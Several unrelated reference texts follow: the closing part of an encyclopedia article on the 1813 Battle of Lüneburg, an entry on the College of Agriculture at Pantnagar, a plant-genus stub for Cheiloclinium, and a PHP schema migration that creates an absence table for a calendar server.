The very next day, the victors were forced to retreat in front of an 11,000-strong division advancing north on the left bank of the Elbe under Marshal Davout. Dörnberg's corps crossed the Elbe near Boizenburg with the prisoners and numerous refugees from Lüneburg, including Johanna Stegen. Morand died there on April 5 of his wounds. Davout appeared in Lüneburg on April 4 and showed unexpected leniency towards the population, contenting himself with the imposition of a contribution and general disarmament. Dörnberg's and Tettenborn's announcements that a captured French soldier would be shot or that such an official would be hanged for every German summarily shot may have contributed to the renunciation of worse measures. When Vandamme withdrew from the seething area between the Elbe and Aller in the coming days, Dörnberg again occupied Lüneburg on 11 April. Only when Vandamme moved to conquer Hamburg in May did Lüneburg have to be vacated by the Allies for a long time.
The news of the annihilation of Morand's corps spread quickly in northern Germany, triggering jubilation and confidence in victory. Unusual was the mention of the interaction of Russian and Prussian soldiers with armed citizens and, for the first time, a woman as a participant in the fight. The new character of the war, which on the Prussian side was no longer only waged by professional soldiers, was clearly shown in an obituary in the Vossische Zeitung for the first fallen volunteer jäger Georg Haase, a son of the agricultural reformer Georg Haase, a son of the agricultural reformer Georg Friedrich Haase, known for the introduction of animal vaccinations and the liberation of farmers in Pomerania. The Haases announced to the public that their son died "death for fatherland, German freedom, national honor and our beloved king"; they ended by saying: “The loss of such a child is hard; but it is a consolation for us that we too were able to give birth to a son for the great holy purpose. We deeply feel the necessity of such sacrifices.” Another new feature was the awarding of a similar award for officers and soldiers of the Prussian army, the first Iron Cross, by King Frederick William III. In addition to Major Borcke, a number of officers, non-commissioned officers and privates received the Iron Cross 2nd Class.
While Prussia presented itself to the public as a pioneer of the liberation struggle, the role of the Rhine Confederation state of Saxony in the suppression of the uprising in northern Germany was badly noted. When Saxon Foreign Minister Ludwig Senfft wanted Prussia and Russia to recognize Saxony's neutrality in April, his negotiating partners had to put it to the test that the soldiers of his King Frederick Augustus I of Saxony were fighting the Prussians right in the streets of Lüneburg. The battle of Lüneburg seemed exemplary to contemporaries in terms of cause and outcome. German historiography kept this memory alive well into the 20th century.
Citations
References
W. Görges: Lüneburg vor hundert Jahren. Das Treffen am 2. April 1813, der erste Sieg in den Befreiungskriegen. Herold & Wahlstab, Lüneburg 1913.
[Albert] v. Holleben (Bearb.): Geschichte des Frühjahrsfeldzuges 1813 und seine Vorgeschichte. Erster Band. E.S.Mittler, Berlin 1904, hier: Die Einnahme von Lüneburg, S. 268–273.
[Modest-Joanovites] Bogdanowitsch: Geschichte des Feldzuges im Jahre 1812 nach den zuverlässigsten Quellen. Band I., Bernhard Schlicke, Leipzig 1863
Frank Bauer: Lüneburg 2. April 1813. Der Befreiungskampf beginnt (Kleine Reihe Geschichte der Befreiungskriege 1813–1815, H. 21), Potsdam 2008.
Further reading
by Frank Bauer with reproduction of a source text.
External links
German campaign of 1813
Battles of the War of the Sixth Coalition
Battles of the Napoleonic Wars
Battles involving Prussia
Battles involving Russia
Battles involving France
Battles involving Saxony
Conflicts in 1813
April 1813 events
1813 in Germany
Battles in Lower Saxony
History of Lüneburg
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The College of Agriculture, Pantnagar, India, is a constituent of Govind Ballabh Pant University of Agriculture & Technology, Pantnagar. It was opened on 17 November 1960 when Jawaharlal Nehru, the first Prime Minister of India, inaugurated the university. It has a triple mandate of teaching, research and extension.
The college has more than 200 faculty members engaged in agricultural sciences. The college has played a role in the Green Revolution in the country. More than 185 varieties of crops like cereals, pulses, oilseeds, forages, fruits and vegetables have been released. The 4 year Bachelor of Science in Agriculture (BScAg) is the flagship course of the college.
Departments
The college has twelve departments:
Agronomy (ICAR Centre for Advanced Study)
Agricultural communication
Agricultural Economics
Agrometerology
Entomology
Food Science and Technology
Genetics and Plant Breeding
Horticulture
Plant Pathology (ICAR Centre for Advanced Study)
Soil Science
Vegetable Science
Seed Science and Technology
Earlier, the college also included two departments of Animal Nutrition, and Animal Breeding and Genetics, which were subsequently transferred to College of Veterinary and Animal Sciences.
References
Agricultural universities and colleges in India
Agriculture in Uttarakhand
Universities and colleges in Uttarakhand
Education in Udham Singh Nagar district
Pantnagar
Universities and colleges established in 1960
1960 establishments in Uttar Pradesh
|
Cheiloclinium is a genus of flowering plants belonging to the family Celastraceae.
Its native range is Tropical America.
Species:
Cheiloclinium anomalum
Cheiloclinium articulatum
Cheiloclinium belizense
Cheiloclinium cognatum
Cheiloclinium diffusiflorum
Cheiloclinium habropodum
Cheiloclinium hippocrateoides
Cheiloclinium klugii
Cheiloclinium neglectum
Cheiloclinium obtusum
Cheiloclinium pedunculatum
Cheiloclinium puberulum
Cheiloclinium schwackeanum
Cheiloclinium serratum
References
Celastraceae
Celastrales genera
|
```php
<?php
declare(strict_types=1);
/**
*/
namespace OCA\DAV\Migration;
use Closure;
use OCP\DB\ISchemaWrapper;
use OCP\DB\Types;
use OCP\Migration\IOutput;
use OCP\Migration\SimpleMigrationStep;
class Version1029Date20231004091403 extends SimpleMigrationStep {
/**
* @param IOutput $output
* @param Closure(): ISchemaWrapper $schemaClosure
* @param array $options
* @return null|ISchemaWrapper
*/
public function changeSchema(IOutput $output, Closure $schemaClosure, array $options): ?ISchemaWrapper {
/** @var ISchemaWrapper $schema */
$schema = $schemaClosure();
if (!$schema->hasTable('dav_absence')) {
$table = $schema->createTable('dav_absence');
$table->addColumn('id', Types::INTEGER, [
'autoincrement' => true,
'notnull' => true,
'length' => 4,
]);
$table->addColumn('user_id', Types::STRING, [
'notnull' => true,
'length' => 64,
]);
$table->addColumn('first_day', Types::STRING, [
'length' => 10,
'notnull' => true,
]);
$table->addColumn('last_day', Types::STRING, [
'length' => 10,
'notnull' => true,
]);
$table->addColumn('status', Types::STRING, [
'length' => 100,
'notnull' => true,
]);
$table->addColumn('message', Types::TEXT, [
'notnull' => true,
]);
$table->addUniqueIndex(['user_id'], 'dav_absence_uid_idx');
} else {
$table = $schema->getTable('dav_absence');
}
if ($table->getPrimaryKey() === null) {
$table->setPrimaryKey(['id'], 'dav_absence_id_idx');
}
return $schema;
}
}
```
|
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